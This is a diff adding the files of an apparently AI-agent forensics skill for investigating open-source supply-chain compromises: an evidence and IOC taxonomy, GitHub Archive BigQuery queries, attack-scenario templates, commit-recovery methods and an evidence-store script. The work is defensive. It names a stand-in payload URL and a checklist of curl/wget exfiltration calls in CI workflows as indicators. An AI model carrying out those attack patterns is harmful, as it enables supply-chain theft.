- [evidence-store.py](./scripts/evidence-store.py) — CLI tool for managing the evidence JSON store
|
||||
- [forensic-report.md](./templates/forensic-report.md) — Structured report template
|
||||
@@ -0,0 +1,89 @@
|
||||
# Evidence Types Reference
|
||||
|
||||
Taxonomy of all evidence types, IOC types, GitHub event types, and observation types
|
||||
used in OSS forensic investigations.
|
||||
|
||||
---
|
||||
|
||||
## Evidence Source Types
|
||||
|
||||
| Type | Description | Example Sources |
|
||||
|------|-------------|-----------------|
|
||||
| `git` | Data from local git repository analysis | `git log`, `git fsck`, `git reflog`, `git blame` |
|
||||
| `gh_api` | Data from GitHub REST API responses | `/repos/.../commits`, `/repos/.../pulls`, `/repos/.../events` |
|
||||
| `gh_archive` | Data from GitHub Archive (BigQuery) | `githubarchive.month.*` BigQuery tables |
|
||||
| `web_archive` | Archived web pages from Wayback Machine | CDX API results, `web.archive.org/web/...` snapshots |
|
||||
| `ioc` | Indicator of Compromise from any source | Extracted from vendor reports, git history, network traces |
|
||||
| `analysis` | Derived insight from cross-source correlation | "SHA present in archive but absent from API" |
|
||||
| `vendor_report` | External security vendor or researcher report | CVE advisories, blog posts, NVD records |
|
||||
| `manual` | Manually recorded observation by investigator | Notes on behavioral patterns, timeline gaps |
|
||||
|
||||
---
|
||||
|
||||
## IOC Types
|
||||
|
||||
| Type | Description | Example |
|
||||
|------|-------------|---------|
|
||||
| `COMMIT_SHA` | A git commit hash linked to malicious activity | `abc123def456...` |
|
||||
| `FILE_PATH` | A suspicious file inside the repository | `src/utils/crypto.js`, `dist/index.min.js` |
|
||||
| `API_KEY` | An API key accidentally committed | `AKIA...` (AWS), `ghp_...` (GitHub PAT) |
|
||||
| `SECRET` | A generic secret / credential | Database password, private key blob |
|
||||
| `IP_ADDRESS` | A C2 server or attacker IP | `192.0.2.1` |
|
||||
| `DOMAIN` | A malicious or suspicious domain | `evil-cdn.io`, typosquatted package registry domain |
|
||||
| `PACKAGE_NAME` | A malicious or squatted package name | `colo-rs` (typosquatting `color`), `lodash-utils` |
|
||||
| `ACTOR_USERNAME` | A GitHub handle linked to the attack | `malicious-bot-account` |
|
||||
| `MALICIOUS_URL` | A URL to a malicious resource | `https://evil.example.com/payload.sh` |
|
||||
| `WORKFLOW_FILE` | A suspicious CI/CD workflow file | `.github/workflows/release.yml` |
|
||||
| `BRANCH_NAME` | A suspicious branch | `refs/heads/temp-fix-do-not-merge` |
|
||||
| `TAG_NAME` | A suspicious git tag | `v1.0.0-security-patch` |
|
||||
| `RELEASE_NAME` | A suspicious release | Release with no associated tag or changelog |
|
||||
| `OTHER` | Catch-all for unclassified IOCs | — |
|
||||
|
||||
---
|
||||
|
||||
## GitHub Archive Event Types (12 Types)
|
||||
|
||||
| Event Type | Forensic Relevance |
|
||||
|------------|-------------------|
|
||||
| `PushEvent` | Core: `payload.distinct_size=0` with `payload.size>0` → force push. `payload.before`/`payload.head` shows rewritten history. |
|
||||
| `PullRequestEvent` | Detects deleted PRs, rapid open→close patterns, PRs from new accounts |
|
||||
| `IssueEvent` | Detects deleted issues, coordinated labeling, rapid closure of vulnerability reports |
|
||||
| `IssueCommentEvent` | Deleted comments, rapid activity bursts |
|
||||
| `WatchEvent` | Star-farming campaigns (coordinated starring from new accounts) |
|
||||
| `ForkEvent` | Unusual fork patterns before malicious commit |
|
||||
| `CreateEvent` | Branch/tag creation: signals new release or code injection point |
|
||||
| `DeleteEvent` | Branch/tag deletion: critical — often used to hide traces |
|
||||
| `ReleaseEvent` | Unauthorized releases, release artifacts modified post-publish |
|
||||
| `MemberEvent` | Collaborator added/removed: maintainer compromise indicator |
|
||||
| `PublicEvent` | Repository made public (sometimes to drop malicious code briefly) |
|
||||
| `WorkflowRunEvent` | CI/CD pipeline executions: workflow injection, secret exfiltration |
|
||||
|
||||
---
|
||||
|
||||
## Evidence Verification States
|
||||
|
||||
| State | Meaning |
|
||||
|-------|---------|
|
||||
| `unverified` | Collected from a single source, not cross-referenced |
|
||||
| `single_source` | The primary source has been confirmed directly (e.g., SHA resolves on GitHub), but no second source |
|
||||
| `multi_source_verified` | Confirmed from 2+ independent sources (e.g., GH Archive AND GitHub API both show the same event) |
|
||||
|
||||
Only `multi_source_verified` evidence may be cited as fact in validated hypotheses.
|
||||
`unverified` and `single_source` evidence must be labeled `[UNVERIFIED]` or `[SINGLE-SOURCE]`.
|
||||
|
||||
---
|
||||
|
||||
## Observation Types (Patterned after RAPTOR)
|
||||
|
||||
| Type | Description |
|
||||
|------|-------------|
|
||||
| `CommitObservation` | Specific commit SHA with metadata (author, date, files changed) |
|
||||
| `ForceWashObservation` | Evidence that commits were force-erased from a branch |
|
||||
| `DanglingCommitObservation` | SHA present in git object store but unreachable from any ref |
|
||||
| `IssueObservation` | A GitHub issue (current or archived) with title, body, timestamp |
|
||||
| `PRObservation` | A GitHub PR (current or archived) with diff summary, reviewers |
|
||||
| `IOC` | A single Indicator of Compromise with context |
|
||||
| `TimelineGap` | A period with unusual absence of expected activity |
|
||||
| `ActorAnomalyObservation` | Behavioral anomaly for a specific GitHub actor |
|
||||
| `WorkflowAnomalyObservation` | Suspicious CI/CD workflow change or unexpected run |
|
||||
| `CrossSourceDiscrepancy` | Item present in one source but absent in another (strong deletion indicator) |
|
||||
@@ -0,0 +1,184 @@
|
||||
# GitHub Archive Query Guide (BigQuery)
|
||||
|
||||
GitHub Archive records every public event on GitHub as immutable JSON records. This data is accessible via Google BigQuery and is the most reliable source for forensic investigation — events cannot be deleted or modified after recording.
|
||||
|
||||
## Public Dataset
|
||||
|
||||
- **Project**: `githubarchive`
|
||||
- **Tables**: `day.YYYYMMDD`, `month.YYYYMM`, `year.YYYY`
|
||||
- **Cost**: $6.25 per TiB scanned. Always run dry runs first.
|
||||
- **Access**: Requires a Google Cloud account with BigQuery enabled. Free tier includes 1 TiB/month of queries.
|
||||
|
||||
---
|
||||
|
||||
## The 12 GitHub Event Types
|
||||
|
||||
| Event Type | What It Records | Forensic Value |
|
||||
|------------|-----------------|----------------|
|
||||
| `PushEvent` | Commits pushed to a branch | Force-push detection, commit timeline, author attribution |
|
||||
| `PullRequestEvent` | PR opened, closed, merged, reopened | Deleted PR recovery, review timeline |
|
||||
| `IssuesEvent` | Issue opened, closed, reopened, labeled | Deleted issue recovery, social engineering traces |
|
||||
| `IssueCommentEvent` | Comments on issues and PRs | Deleted comment recovery, communication patterns |
|
||||
| `CreateEvent` | Branch, tag, or repository creation | Suspicious branch creation, tag timing |
|
||||
| `DeleteEvent` | Branch or tag deletion | Evidence of cleanup after compromise |
|
||||
| `MemberEvent` | Collaborator added or removed | Permission changes, access escalation |
|
||||
| `PublicEvent` | Repository made public | Accidental exposure of private repos |
|
||||
| `WatchEvent` | User stars a repository | Actor reconnaissance patterns |
|
||||
| `ForkEvent` | Repository forked | Exfiltration of code before cleanup |
|
||||
| `ReleaseEvent` | Release published, edited, deleted | Malicious release injection, deleted release recovery |
|
||||
| `WorkflowRunEvent` | GitHub Actions workflow triggered | CI/CD abuse, unauthorized workflow runs |
|
||||
|
||||
---
|
||||
|
||||
## Query Templates
|
||||
|
||||
### Basic: All Events for a Repository
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
created_at,
|
||||
type,
|
||||
actor.login,
|
||||
repo.name,
|
||||
payload
|
||||
FROM
|
||||
`githubarchive.day.20240101` -- Adjust date
|
||||
WHERE
|
||||
repo.name = 'owner/repo'
|
||||
AND type IN ('PushEvent', 'DeleteEvent', 'MemberEvent')
|
||||
ORDER BY
|
||||
created_at ASC
|
||||
```
|
||||
|
||||
### Force-Push Detection
|
||||
|
||||
Force-pushes produce PushEvents where commits are overwritten. Key indicators:
|
||||
- `payload.distinct_size = 0` with `payload.size > 0` → commits were erased
|
||||
- `payload.before` contains the SHA before the rewrite (recoverable)
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
created_at,
|
||||
actor.login,
|
||||
JSON_EXTRACT_SCALAR(payload, '$.before') AS before_sha,
|
||||
JSON_EXTRACT_SCALAR(payload, '$.head') AS after_sha,
|
||||
JSON_EXTRACT_SCALAR(payload, '$.size') AS total_commits,
|
||||
JSON_EXTRACT_SCALAR(payload, '$.distinct_size') AS distinct_commits,
|
||||
JSON_EXTRACT_SCALAR(payload, '$.ref') AS branch_ref
|
||||
FROM
|
||||
`githubarchive.month.*`
|
||||
WHERE
|
||||
_TABLE_SUFFIX BETWEEN '202401' AND '202403'
|
||||
AND type = 'PushEvent'
|
||||
AND repo.name = 'owner/repo'
|
||||
AND CAST(JSON_EXTRACT_SCALAR(payload, '$.distinct_size') AS INT64) = 0
|
||||
ORDER BY
|
||||
created_at ASC
|
||||
```
|
||||
|
||||
### Deleted Branch/Tag Detection
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
created_at,
|
||||
actor.login,
|
||||
JSON_EXTRACT_SCALAR(payload, '$.ref') AS deleted_ref,
|
||||
JSON_EXTRACT_SCALAR(payload, '$.ref_type') AS ref_type
|
||||
FROM
|
||||
`githubarchive.month.*`
|
||||
WHERE
|
||||
_TABLE_SUFFIX BETWEEN '202401' AND '202403'
|
||||
AND type = 'DeleteEvent'
|
||||
AND repo.name = 'owner/repo'
|
||||
ORDER BY
|
||||
created_at ASC
|
||||
```
|
||||
|
||||
### Collaborator Permission Changes
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
created_at,
|
||||
actor.login,
|
||||
JSON_EXTRACT_SCALAR(payload, '$.action') AS action,
|
||||
JSON_EXTRACT_SCALAR(payload, '$.member.login') AS member
|
||||
FROM
|
||||
`githubarchive.month.*`
|
||||
WHERE
|
||||
_TABLE_SUFFIX BETWEEN '202401' AND '202403'
|
||||
AND type = 'MemberEvent'
|
||||
AND repo.name = 'owner/repo'
|
||||
ORDER BY
|
||||
created_at ASC
|
||||
```
|
||||
|
||||
### CI/CD Workflow Activity
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
created_at,
|
||||
actor.login,
|
||||
JSON_EXTRACT_SCALAR(payload, '$.action') AS action,
|
||||
JSON_EXTRACT_SCALAR(payload, '$.workflow_run.name') AS workflow_name,
|
||||
JSON_EXTRACT_SCALAR(payload, '$.workflow_run.conclusion') AS conclusion,
|
||||
JSON_EXTRACT_SCALAR(payload, '$.workflow_run.head_sha') AS head_sha
|
||||
FROM
|
||||
`githubarchive.month.*`
|
||||
WHERE
|
||||
_TABLE_SUFFIX BETWEEN '202401' AND '202403'
|
||||
AND type = 'WorkflowRunEvent'
|
||||
AND repo.name = 'owner/repo'
|
||||
ORDER BY
|
||||
created_at ASC
|
||||
```
|
||||
|
||||
### Actor Activity Profiling
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
type,
|
||||
COUNT(*) AS event_count,
|
||||
MIN(created_at) AS first_event,
|
||||
MAX(created_at) AS last_event
|
||||
FROM
|
||||
`githubarchive.month.*`
|
||||
WHERE
|
||||
_TABLE_SUFFIX BETWEEN '202301' AND '202412'
|
||||
AND actor.login = 'suspicious-username'
|
||||
GROUP BY type
|
||||
ORDER BY event_count DESC
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Cost Optimization (MANDATORY)
|
||||
|
||||
1. **Always dry run first**: Add `--dry_run` flag to `bq query` to see estimated bytes scanned before executing.
|
||||
2. **Use `_TABLE_SUFFIX`**: Narrow the date range as much as possible. `day.*` tables are cheapest for narrow windows; `month.*` for broader sweeps.
|
||||
3. **Select only needed columns**: Avoid `SELECT *`. The `payload` column is large — only select specific JSON paths.
|
||||
4. **Add LIMIT**: Use `LIMIT 1000` during exploration. Remove only for final exhaustive queries.
|
||||
5. **Column filtering in WHERE**: Filter on indexed columns (`type`, `repo.name`, `actor.login`) before payload extraction.
|
||||
|
||||
**Cost estimation**: A single month of GH Archive data is ~1-2 TiB uncompressed. Querying a specific repo + event type with `_TABLE_SUFFIX` typically scans 1-10 GiB ($0.006-$0.06).
|
||||
|
||||
---
|
||||
|
||||
## Accessing via Hermes
|
||||
|
||||
**Option A: BigQuery CLI** (if `gcloud` is installed)
|
||||
```bash
|
||||
bq query --use_legacy_sql=false --format=json "YOUR QUERY"
|
||||
```
|
||||
|
||||
**Option B: Python** (via `execute_code`)
|
||||
```python
|
||||
from google.cloud import bigquery
|
||||
client = bigquery.Client()
|
||||
query = "YOUR QUERY"
|
||||
results = client.query(query).result()
|
||||
for row in results:
|
||||
print(dict(row))
|
||||
```
|
||||
|
||||
**Option C: No GCP credentials available**
|
||||
If BigQuery is unavailable, document this limitation in the report. Use the other 4 investigators (Git, GitHub API, Wayback Machine, IOC Enrichment) — they cover most investigation needs without BigQuery.
|
||||
@@ -0,0 +1,131 @@
|
||||
# Investigation Templates
|
||||
|
||||
Pre-built hypothesis and investigation templates for common supply chain attack scenarios.
|
||||
Each template includes: attack pattern, key evidence to collect, and hypothesis starters.
|
||||
|
||||
---
|
||||
|
||||
## Template 1: Maintainer Account Compromise
|
||||
|
||||
**Pattern**: Attacker gains access to a legitimate maintainer account (phishing, credential stuffing)
|
||||
and uses it to push malicious code, create backdoored releases, or exfiltrate CI secrets.
|
||||
|
||||
**Real-world examples**: XZ Utils (2024), Codecov (2021), event-stream (2018)
|
||||
|
||||
**Key Evidence to Collect**:
|
||||
- [ ] Push events from maintainer account outside normal working hours/timezone
|
||||
- [ ] Commits adding new dependencies, obfuscated code, or modified build scripts
|
||||
- [ ] Release creation immediately after suspicious push (to maximize package distribution)
|
||||
- [ ] MemberEvent adding unknown collaborators (attacker adding backup access)
|
||||
- [ ] WorkflowRunEvent with unexpected secret access or exfiltration-like behavior
|
||||
- [ ] Account login location changes (check social media, conference talks for corroboration)
|
||||
|
||||
**Hypothesis Starters**:
|
||||
```
|
||||
[HYPOTHESIS] Actor <HANDLE>'s account was compromised on or around <DATE>,
|
||||
based on anomalous commit timing [EV-XXXX] and geographic access patterns [EV-YYYY].
|
||||
```
|
||||
```
|
||||
[HYPOTHESIS] Release <VERSION> was published by the compromised account to push
|
||||
malicious code to downstream users, evidenced by the malicious commit [EV-XXXX]
|
||||
being added <N> hours before the release [EV-YYYY].
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Template 2: Malicious Dependency Injection
|
||||
|
||||
**Pattern**: A trusted package is modified to include malicious code in a dependency,
|
||||
or a new malicious dependency is injected into an existing package.
|
||||
|
||||
**Key Evidence to Collect**:
|
||||
- [ ] Diff of `package.json`/`requirements.txt`/`go.mod` before and after suspicious commit
|
||||
- [ ] The new dependency's publication timestamp vs. the injection commit timestamp
|
||||
- [ ] Whether the new dependency exists on npm/PyPI and who owns it
|
||||
- [ ] Any obfuscation patterns in the injected dependency code
|
||||
- [ ] Install-time scripts (`postinstall`, `setup.py`, etc.) that execute code on install
|
||||
|
||||
**Hypothesis Starters**:
|
||||
```
|
||||
[HYPOTHESIS] Commit <SHA> [EV-XXXX] introduced dependency <PACKAGE@VERSION>
|
||||
which appears to be a malicious package published by actor <HANDLE> [EV-YYYY],
|
||||
designed to execute <BEHAVIOR> during installation.
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Template 3: CI/CD Pipeline Injection
|
||||
|
||||
**Pattern**: Attacker modifies GitHub Actions workflows to steal secrets, exfiltrate code,
|
||||
or inject malicious artifacts into the build output.
|
||||
|
||||
**Key Evidence to Collect**:
|
||||
- [ ] Diff of all `.github/workflows/*.yml` files before/after suspicious period
|
||||
- [ ] WorkflowRunEvents triggered by the modified workflows
|
||||
- [ ] Any `curl`, `wget`, or network calls added to workflow steps
|
||||
- [ ] New or modified `env:` sections referencing `secrets.*`
|
||||
- [ ] Artifacts produced by modified workflow runs
|
||||
|
||||
**Hypothesis Starters**:
|
||||
```
|
||||
[HYPOTHESIS] Workflow file <FILE> was modified in commit <SHA> [EV-XXXX] to
|
||||
exfiltrate repository secrets via <METHOD>, as evidenced by the added network
|
||||
call pattern [EV-YYYY].
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Template 4: Typosquatting / Dependency Confusion
|
||||
|
||||
**Pattern**: Attacker registers a package with a name similar to a popular package
|
||||
(or an internal package name) to intercept installs from users who mistype.
|
||||
|
||||
**Key Evidence to Collect**:
|
||||
- [ ] Registration timestamp of the suspicious package on the registry
|
||||
- [ ] Package content: does it contain malicious code or is it a stub?
|
||||
- [ ] Download statistics for the suspicious package
|
||||
- [ ] Names of internal packages that could be targeted (if private repo scope)
|
||||
- [ ] Any references to the legitimate package in the malicious one's metadata
|
||||
|
||||
**Hypothesis Starters**:
|
||||
```
|
||||
[HYPOTHESIS] Package <MALICIOUS_NAME> was registered on <DATE> [EV-XXXX] to
|
||||
typosquat on <LEGITIMATE_NAME>, targeting users who misspell the package name.
|
||||
The package contains <BEHAVIOR> [EV-YYYY].
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Template 5: Force-Push History Rewrite (Evidence Erasure)
|
||||
|
||||
**Pattern**: After a malicious commit is detected (or before wider notice), the attacker
|
||||
force-pushes to remove the malicious commit from branch history.
|
||||
|
||||
**Detection is key** — this template focuses on proving the erasure happened.
|
||||
|
||||
**Key Evidence to Collect**:
|
||||
- [ ] GH Archive PushEvent with `distinct_size=0` (force push indicator) [EV-XXXX]
|
||||
- [ ] The SHA of the commit BEFORE the force push (from GH Archive `payload.before`)
|
||||
- [ ] Recovery of the erased commit via direct URL or `git fetch origin SHA`
|
||||
- [ ] Wayback Machine snapshot of the commit page before erasure
|
||||
- [ ] Timeline gap in git log (N commits visible in archive but M < N in current repo)
|
||||
|
||||
**Hypothesis Starters**:
|
||||
```
|
||||
[HYPOTHESIS] Actor <HANDLE> force-pushed branch <BRANCH> on <DATE> [EV-XXXX]
|
||||
to erase commit <SHA> [EV-YYYY], which contained <MALICIOUS_CONTENT>.
|
||||
The erased commit was recovered via <METHOD> [EV-ZZZZ].
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Cross-Cutting Investigation Checklist
|
||||
|
||||
Apply to every investigation regardless of template:
|
||||
|
||||
- [ ] Check all contributors for newly created accounts (< 30 days old at time of malicious activity)
|
||||
- [ ] Check if any maintainer account changed email in the period (sign of account takeover)
|
||||
- [ ] Verify GPG signatures on suspicious commits match known maintainer keys
|
||||
- [ ] Check if the repository changed ownership or transferred orgs near the incident
|
||||
- [ ] Look for "cleanup" commits immediately after the malicious commit (cover-up pattern)
|
||||
- [ ] Check related packages/repos by the same author for similar patterns
|
||||
@@ -0,0 +1,164 @@
|
||||
# Deleted Content Recovery Techniques
|
||||
|
||||
## Key Insight: GitHub Never Fully Deletes Force-Pushed Commits
|
||||
|
||||
Force-pushed commits are removed from the branch history but REMAIN on GitHub's servers until garbage collection runs (which can take weeks to months). This is the foundation of deleted commit recovery.
|
||||
|
||||
---
|
||||
|
||||
## Method 1: Direct GitHub URL (Fastest — No Auth Required)
|
||||
|
||||
If you have a commit SHA, access it directly even if it was force-pushed off a branch:
|
||||
|
||||
```bash
|
||||
# View commit metadata
|
||||
curl -s "https://github.com/OWNER/REPO/commit/SHA"
|
||||
|
||||
# Download as patch (includes full diff)
|
||||
curl -s "https://github.com/OWNER/REPO/commit/SHA.patch" > recovered_commit.patch
|
||||
|
||||
# Download as diff
|
||||
curl -s "https://github.com/OWNER/REPO/commit/SHA.diff" > recovered_commit.diff
|
||||
|
||||
# Example (Istio credential leak - real incident):
|
||||
curl -s "https://github.com/istio/istio/commit/FORCE_PUSHED_SHA.patch"
|
||||
```
|
||||
|
||||
**When this works**: SHA is known (from GH Archive, Wayback Machine, or `git fsck`)
|
||||
**When this fails**: GitHub has already garbage-collected the object (rare, typically 30–90 days post-force-push)
|
||||
|
||||
---
|
||||
|
||||
## Method 2: GitHub REST API
|
||||
|
||||
```bash
|
||||
# Works for commits force-pushed off branches but still on server
|
||||
# Note: /commits/SHA may 404, but /git/commits/SHA often succeeds for orphaned commits
|
||||
curl -s "https://api.github.com/repos/OWNER/REPO/git/commits/SHA" | jq .
|
||||
|
||||
# Get the tree (file listing) of a force-pushed commit
|
||||
curl -s "https://api.github.com/repos/OWNER/REPO/git/trees/SHA?recursive=1" | jq .
|
||||
|
||||
# Get a specific file from a force-pushed commit
|
||||
curl -s "https://api.github.com/repos/OWNER/REPO/contents/PATH?ref=SHA" | jq .content | base64 -d
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Method 3: Git Fetch by SHA (Local — Requires Clone)
|
||||
|
||||
```bash
|
||||
# Fetch an orphaned commit directly by SHA into local repo
|
||||
cd target_repo
|
||||
git fetch origin SHA
|
||||
git log FETCH_HEAD -1 # view the commit
|
||||
git diff FETCH_HEAD~1 FETCH_HEAD # view the diff
|
||||
|
||||
# If the SHA was recently force-pushed it will still be fetchable
|
||||
# This stops working once GitHub GC runs
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Method 4: Dangling Commits via git fsck
|
||||
|
||||
```bash
|
||||
cd target_repo
|
||||
|
||||
# Find all unreachable objects (includes force-pushed commits)
|
||||
git fsck --unreachable --no-reflogs 2>&1 | grep "unreachable commit" | awk '{print $3}' > dangling_shas.txt
|
||||
|
||||
# For each dangling commit, get its metadata
|
||||
while read sha; do
|
||||
echo "=== $sha ===" >> dangling_details.txt
|
||||
git show --stat "$sha" >> dangling_details.txt 2>&1
|
||||
done < dangling_shas.txt
|
||||
|
||||
# Note: dangling objects only exist in LOCAL clone — not the same as GitHub's copies
|
||||
# GitHub's copies are accessible via Methods 1-3 until GC runs
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Recovering Deleted GitHub Issues and PRs
|
||||
|
||||
### Via Wayback Machine CDX API
|
||||
|
||||
```bash
|
||||
# Find all archived snapshots of a specific issue
|
||||
curl -s "https://web.archive.org/cdx/search/cdx?url=github.com/OWNER/REPO/issues/NUMBER&output=json&limit=50&fl=timestamp,statuscode,original" | python3 -m json.tool
|
||||
|
||||
# Fetch the best snapshot
|
||||
# Use the timestamp from the CDX result:
|
||||
# https://web.archive.org/web/TIMESTAMP/https://github.com/OWNER/REPO/issues/NUMBER
|
||||
curl -s "https://web.archive.org/web/TIMESTAMP/https://github.com/OWNER/REPO/issues/NUMBER" > issue_NUMBER_archived.html
|
||||
|
||||
# Find all snapshots of the repo in a date range
|
||||
curl -s "https://web.archive.org/cdx/search/cdx?url=github.com/OWNER/REPO*&output=json&from=20240101&to=20240201&limit=200&fl=timestamp,urlkey,statuscode" | python3 -m json.tool
|
||||
```
|
||||
|
||||
### Via GitHub API (Limited — Only Non-Deleted Content)
|
||||
|
||||
```bash
|
||||
# Closed issues (not deleted) are retrievable
|
||||
curl -s "https://api.github.com/repos/OWNER/REPO/issues?state=closed&per_page=100" | jq '.[].number'
|
||||
|
||||
# Note: DELETED issues/PRs do NOT appear in the API. Use Wayback Machine or GH Archive for those.
|
||||
```
|
||||
|
||||
### Via GitHub Archive (For Event History — Not Content)
|
||||
|
||||
```sql
|
||||
-- Find all IssueEvents for a repo in a date range
|
||||
SELECT created_at, actor.login, payload.action, payload.issue.number, payload.issue.title
|
||||
FROM `githubarchive.day.*`
|
||||
WHERE _TABLE_SUFFIX BETWEEN '20240101' AND '20240201'
|
||||
AND type = 'IssuesEvent'
|
||||
AND repo.name = 'OWNER/REPO'
|
||||
ORDER BY created_at
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Recovering Deleted Files from a Known Commit
|
||||
|
||||
```bash
|
||||
# If you have the commit SHA (even force-pushed):
|
||||
git show SHA:path/to/file.py > recovered_file.py
|
||||
|
||||
# Or via API (base64 encoded content):
|
||||
curl -s "https://api.github.com/repos/OWNER/REPO/contents/path/to/file.py?ref=SHA" | python3 -c "
|
||||
import sys, json, base64
|
||||
d = json.load(sys.stdin)
|
||||
print(base64.b64decode(d['content']).decode())
|
||||
"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Evidence Recording
|
||||
|
||||
After recovering any deleted content, immediately record it:
|
||||
|
||||
```bash
|
||||
python3 SKILL_DIR/scripts/evidence-store.py --store evidence.json add \
|
||||
--source "git fetch origin FORCE_PUSHED_SHA" \
|
||||
--content "Recovered commit: FORCE_PUSHED_SHA | Author: attacker@example.com | Date: 2024-01-15 | Added file: malicious.sh" \
|
||||
--type git \
|
||||
--actor "attacker-handle" \
|
||||
--url "https://github.com/OWNER/REPO/commit/FORCE_PUSHED_SHA.patch" \
|
||||
--timestamp "2024-01-15T00:00:00Z" \
|
||||
--verification single_source \
|
||||
--notes "Commit force-pushed off main branch on 2024-01-16. Recovered via direct fetch."
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Recovery Failure Modes
|
||||
|
||||
| Failure | Cause | Workaround |
|
||||
|---------|-------|------------|
|
||||
| `git fetch origin SHA` returns "not our ref" | GitHub GC already ran | Try Method 1/2, search Wayback Machine |
|
||||
| `github.com/OWNER/REPO/commit/SHA` returns 404 | GC ran or SHA is wrong | Verify SHA via GH Archive; try partial SHA search |
|
||||
| Wayback Machine has no snapshots | Page was never crawled by IA | Check `commoncrawl.org`, check Google Cache |
|
||||
| BigQuery shows event but no content | GH Archive stores event metadata, not file contents | Recovery only reveals the event occurred, not the content |
|
||||
@@ -0,0 +1,313 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
OSS Forensics Evidence Store Manager
|
||||
Manages a JSON-based evidence store for forensic investigations.
|
||||
|
||||
Commands:
|
||||
add - Add a piece of evidence
|
||||
list - List all evidence (optionally filter by type or actor)
|
||||
verify - Re-check SHA-256 hashes for integrity
|
||||
query - Search evidence by keyword
|
||||
export - Export evidence as a Markdown table
|
||||
summary - Print investigation statistics
|
||||
|
||||
Usage example:
|
||||
python3 evidence-store.py --store evidence.json add \
|
||||
--source "git fsck output" --content "dangling commit abc123" \
|
||||
--type git --actor "malicious-user" --url "https://github.com/owner/repo/commit/abc123"
|
||||
|
||||
python3 evidence-store.py --store evidence.json list --type git
|
||||
python3 evidence-store.py --store evidence.json verify
|
||||
python3 evidence-store.py --store evidence.json export > evidence-table.md
|
||||
"""
|
||||
|
||||
import json
|
||||
import argparse
|
||||
import os
|
||||
import datetime
|
||||
import hashlib
|
||||
import sys
|
||||
|
||||
EVIDENCE_TYPES = [
|
||||
"git", # Local git repository data (commits, reflog, fsck)
|
||||
"gh_api", # GitHub REST API responses
|
||||
"gh_archive", # GitHub Archive / BigQuery query results
|
||||
"web_archive", # Wayback Machine snapshots
|
||||
"ioc", # Indicator of Compromise (SHA, domain, IP, package name, etc.)
|
||||
"analysis", # Derived analysis / cross-source correlation result
|
||||
"manual", # Manually noted observation
|
||||
"vendor_report", # External security vendor report excerpt
|
||||
]
|
||||
|
||||
VERIFICATION_STATES = ["unverified", "single_source", "multi_source_verified"]
|
||||
|
||||
IOC_TYPES = [
|
||||
"COMMIT_SHA", "FILE_PATH", "API_KEY", "SECRET", "IP_ADDRESS",
|
||||
"DOMAIN", "PACKAGE_NAME", "ACTOR_USERNAME", "MALICIOUS_URL",
|
||||
"WORKFLOW_FILE", "BRANCH_NAME", "TAG_NAME", "RELEASE_NAME", "OTHER",
|
||||
]
|
||||
|
||||
|
||||
def _now_iso():
|
||||
return datetime.datetime.now(datetime.timezone.utc).isoformat(timespec="seconds") + "Z"
|
||||
|
||||
|
||||
def _sha256(content: str) -> str:
|
||||
return hashlib.sha256(content.encode("utf-8")).hexdigest()
|
||||
|
||||
|
||||
class EvidenceStore:
|
||||
def __init__(self, filepath: str):
|
||||
self.filepath = filepath
|
||||
self.data = {
|
||||
"metadata": {
|
||||
"version": "2.0",
|
||||
"created_at": _now_iso(),
|
||||
"last_updated": _now_iso(),
|
||||
"investigation": "",
|
||||
"target_repo": "",
|
||||
},
|
||||
"evidence": [],
|
||||
"chain_of_custody": [],
|
||||
}
|
||||
if os.path.exists(filepath):
|
||||
try:
|
||||
with open(filepath, "r", encoding="utf-8") as f:
|
||||
self.data = json.load(f)
|
||||
except (json.JSONDecodeError, IOError) as e:
|
||||
print(f"Error loading evidence store '{filepath}': {e}", file=sys.stderr)
|
||||
print("Hint: The file might be corrupted. Check for manual edits or syntax errors.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
def _save(self):
|
||||
self.data["metadata"]["last_updated"] = _now_iso()
|
||||
with open(self.filepath, "w", encoding="utf-8") as f:
|
||||
json.dump(self.data, f, indent=2, ensure_ascii=False)
|
||||
|
||||
def _next_id(self) -> str:
|
||||
return f"EV-{len(self.data['evidence']) + 1:04d}"
|
||||
|
||||
def add(
|
||||
self,
|
||||
source: str,
|
||||
content: str,
|
||||
evidence_type: str,
|
||||
actor: str = None,
|
||||
url: str = None,
|
||||
timestamp: str = None,
|
||||
ioc_type: str = None,
|
||||
verification: str = "unverified",
|
||||
notes: str = None,
|
||||
) -> str:
|
||||
evidence_id = self._next_id()
|
||||
entry = {
|
||||
"id": evidence_id,
|
||||
"type": evidence_type,
|
||||
"source": source,
|
||||
"content": content,
|
||||
"content_sha256": _sha256(content),
|
||||
"actor": actor,
|
||||
"url": url,
|
||||
"event_timestamp": timestamp,
|
||||
"collected_at": _now_iso(),
|
||||
"ioc_type": ioc_type,
|
||||
"verification": verification,
|
||||
"notes": notes,
|
||||
}
|
||||
self.data["evidence"].append(entry)
|
||||
self.data["chain_of_custody"].append({
|
||||
"action": "add",
|
||||
"evidence_id": evidence_id,
|
||||
"timestamp": _now_iso(),
|
||||
"source": source,
|
||||
})
|
||||
self._save()
|
||||
return evidence_id
|
||||
|
||||
def list_evidence(self, filter_type: str = None, filter_actor: str = None):
|
||||
results = self.data["evidence"]
|
||||
if filter_type:
|
||||
results = [e for e in results if e.get("type") == filter_type]
|
||||
if filter_actor:
|
||||
results = [e for e in results if e.get("actor") == filter_actor]
|
||||
return results
|
||||
|
||||
def verify_integrity(self):
|
||||
"""Re-compute SHA-256 for all entries and report mismatches."""
|
||||
issues = []
|
||||
for entry in self.data["evidence"]:
|
